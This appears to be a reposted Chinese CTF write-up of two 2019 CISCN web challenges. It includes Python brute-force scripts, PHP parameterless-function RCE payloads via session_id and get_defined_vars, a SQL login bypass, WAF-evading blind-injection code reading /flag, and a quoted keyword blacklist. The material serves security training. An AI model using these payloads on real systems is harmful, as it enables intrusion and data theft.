• 2019CISCN华南线下两道web复现


    原帖地址 : https://xz.aliyun.com/t/5558

    2019CISCN华南线下的两个简单 web

    部分题目下载地址,有的不完整 : 点我点我

    web 1

    • 考点 : 无参函数的 RCE

    • 在注释中发现了 forgetpassword.php 页面

    • 打开 forgetpassword.php,要求输入一个用户名,尝试用户名爆破,结果为 admin123

      import requests
      
      url = "http://127.0.0.1/ciscn/web1/useri.php"
      
      response = "没有这个用户"
      
      f = open("./username.txt", "r", encoding="utf-8")
      
      for line in f:
      	line = line.strip()
      
      	data = {
      		"user_name" : line,
      	}
      	
      	r = requests.post(url=url, data=data)
      
      	if response in r.text:
      		continue
      	else:
      		print(line)
      		break
      
    • 输入 admin123 之后跳转到 useryzm.php 页面

    • 提示验证码经过 base64 加密,而且验证码是 4 位的数字,写脚本爆破一下,结果验证码为 MTQyMw==

      四位数字生成

      for i in range(0,10000):
      	s = str(i).zfill(4)
      	print(s)
      	f = open("num.txt",'a')
      	f.write(s)
      	f.write('
      ')   #实现换行的功能
      

      爆破密码

      import requests
      import base64
      
      url = 'http://127.0.0.1/ciscn/web1/yzmi.php'
      
      f = open('./num.txt', 'r', encoding="utf-8")
      
      response = "错误"
      
      for line in f:
      	line = line.strip().encode('utf-8')
      	line = base64.b64encode(line)
      
      	data = {
      		"yzm" : line.decode('utf-8'),
      	}
      	
      	r = requests.post(url=url, data=data)
      
      	if response in r.text:
      		continue
      	else:
      		print(line)
      		break
      
      
    • 输入后获得密码 f4h1l0t0j2g5b1m0a0m0a3d2d0

    • 返回 index.html 输入账号密码,获得新提示,但是这里忘记复制数据库了,就直接跳到下一步吧,访问 mDjNaF.php

    • mDjNaF.php 页面

    • 看一下正则,preg_replace('/[^W]+((?R)?)/', '', $_GET['code'])W 匹配任意字母和数字,(?R)? 重复整个模式,合在一起类似于匹配 x(y(z())) 样式的,且不能存在参数,输入 phpinfo(); 可以查看 phpinfo 页面

    • 接下来就是构造无参数函数进行 RCE 了,想到可以更改 header 中的属性和值,使用无参数函数获取 header 处的值,达到 RCE 的目的。

    • 对于 Cookie 属性,我们可以随意更改,session_id() 函数可以获取 PHPSESSID,如果没有开启 session 可以使用 session_start() 函数。由于不能带参数,我们可以将命令转化为 hex 再用 hex2bin() 函数转化。

    • payload :

      ?code=eval(hex2bin(session_id(session_start())));
      // echo 'peri0d';
      Cookie: PHPSESSID=6563686f2027706572693064273b
      

    • 还可以自己传参达到 RCE,get_defined_vars() 函数返回所有已定义的变量列表,然后利用提取位置的函数就可以实现 RCE

    • payload : ?code=eval(end(current(get_defined_vars())));&a=var_dump(scandir('../'))

    web 4

    • 考点 : insert() 盲注

    • 一个登录页面

    • 试一试万能密码 admin'# ,登录成功,并给出提示

    • 经过 fuzz 发现过滤了空格,union,benchmark,sleep,regexp,order等很多很多关键字,空格可以使用 /**/ 绕过

    • 给出了文件路径,可以使用 load_file 读取,再与 insert() 函数结合,使用异或,好像可以进行盲注

    • insert((select(load_file('/flag'))),2,255,'') 即在 flag 中,从第 2 个字符到第 255 个字符替换为空字符,即只显示第 1 个字符。insert((select(load_file('/flag'))),3,255,'')把第 3 个字符到第 255 个字符替换为空字符,即只显示前面两个字符。

    • 脚本如下

      import requests
      
      url = 'http://172.27.137.145/ciscn/web4/index.php'
      
      # payload = "admin'^(select('f')>(insert((select(load_file('/flag'))),2,255,'')))#"
      
      temp_list = []
      
      flag_list = []
      
      for i in range(2,255):
      	payload_1 = "')>(insert((select(load_file('/flag'))),"+str(i)+",255,'')))#"
      	flag = ''.join(flag_list)
      	temp_list.clear()
      	for j in range(32, 127):
      		payload = "admin'^(select('"+flag+chr(j)+payload_1
      		print(payload)
      		data = {'username' : payload,}
      		r = requests.post(url=url, data=data)
      		if 'success' in r.text:
      			temp_list.append(chr(j))
      	try:
      		flag_list.append(temp_list.pop())
      	except:
      		break
      print(''.join(flag_list))
      

    • 过滤语句 :

      if(preg_match("/union|benchmark|strcmp|locate|STRCMP|position|md5|mid|sub|concat|and|left|sleep|space|instr|conv|s|right|cast|locate|limit|reverse|glob|having|match|count|pad|char|hex|regexp|order|group|ascii|information/i",$username))
      {
          die('wafed!<br>');
      }
      if(preg_match("/union|position|strcmp|locate|benchmark|STRCMP|concat|md5|mid|sub|sleep|and|left|cast|space|instr|pad|conv|s|right|limit|reverse|locate|match|glob|having|count|char|hex|regexp|order|group|ascii|information/i",$passwd))
      {
          die('wafed!<br>');
      }
      
  • 相关阅读:
    platform cannot apply stanford theme
    汉化、用户创建
    修改字段
    语言包格式错误引起组件崩溃
    配置LMS/Studio SMTP
    Javascript如何实现AOP
    【转】组件化的Web王国
    【转】前端组件化框架之路
    【转】ES6 手册
    【转】超实用的JavaScript技巧及最佳实践
  • 原文地址:https://www.cnblogs.com/peri0d/p/11508839.html
Copyright © 2020-2023  润新知